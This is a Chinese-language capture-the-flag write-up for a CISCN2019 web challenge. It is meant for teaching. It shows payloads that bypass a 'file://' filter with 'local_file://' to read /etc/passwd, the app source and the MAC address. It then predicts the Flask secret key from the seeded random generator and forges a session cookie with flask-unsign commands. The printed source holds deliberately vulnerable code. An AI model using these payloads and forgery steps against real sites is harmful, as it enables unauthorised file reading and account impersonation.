BUU [CISCN2019 华东南赛区]Web4
题目描述:Click to launch instance.
开题:
点击链接,有点像SSRF
使用local_file://
协议读到本地文件,无法使用file://
协议读取,有过滤。
local_file://
协议:
local_file://与file://类似,常用于绕过,可以直接读取本地文件内容
此外,不加协议,直接通过文件名读取文件也行。
/read?url=/etc/passwd
读取后端源码:
/read?url=/app/app.py
源码如下:
import re, random, uuid, urllib
from flask import Flask, session, request
app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True
@app.route('/')
def index():
session['username'] = 'www-data'
return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'
@app.route('/read')
def read():
try:
url = request.args.get('url')
m = re.findall('^file.*', url, re.IGNORECASE)
n = re.findall('flag', url, re.IGNORECASE)
if m or n:
return 'No Hack'
res = urllib.urlopen(url)
return res.read()
except Exception as ex:
print str(ex)
return 'no response'
@app.route('/flag')
def flag():
if session and session['username'] == 'fuck':
return open('/flag.txt').read()
else:
return 'Access denied'
if __name__=='__main__':
app.run(
debug=True,
host="0.0.0.0"
)
注意print语句print str(ex)
,可以看出后端是python2。
/flag
路由验证了session,若session中的username
是fuck
,则返回flag。
session的密钥由random决定,random的seed是uuid.getnode()
。
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
对于伪随机数,如果seed是固定的,生成的随机数是可以预测的,也就是顺序固定的,所以只要知道seed的值即可。这里的seed使用的uuid.getnode()的值,该函数用于获取Mac地址并将其转换为整数。所以我们还需要读一下Mac地址。
Mac地址存贮在/sys/class/net/eth0/address
/read?url=local_file:///sys/class/net/eth0/address
得到Mac地址为:2e:44:62:0d:63:0a
。
根据seed预测伪随机数得到key脚本:(python2跑)
import random
random.seed(0x2e44620d630a)
print(str(random.random()*233))
得到key是73.2021768198
,不同人不一样。
我们使用flask-unsign
工具来伪造session。
解密session:
flask-unsign --decode --cookie 'eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.ZW2pEQ.-5oJLoBW97fPu-L4toFRwPeAwhE'
加密session:
flask-unsign --sign --cookie "{'username': b'fuck'}" --secret '73.2021768198' --no-literal-eval
得到eyJ1c2VybmFtZSI6eyIgYiI6IlpuVmphdz09In19.ZW2rIw.tPiShhd3WU6VOLoSrTgWQus8Pjc
访问/flag路由,得到flag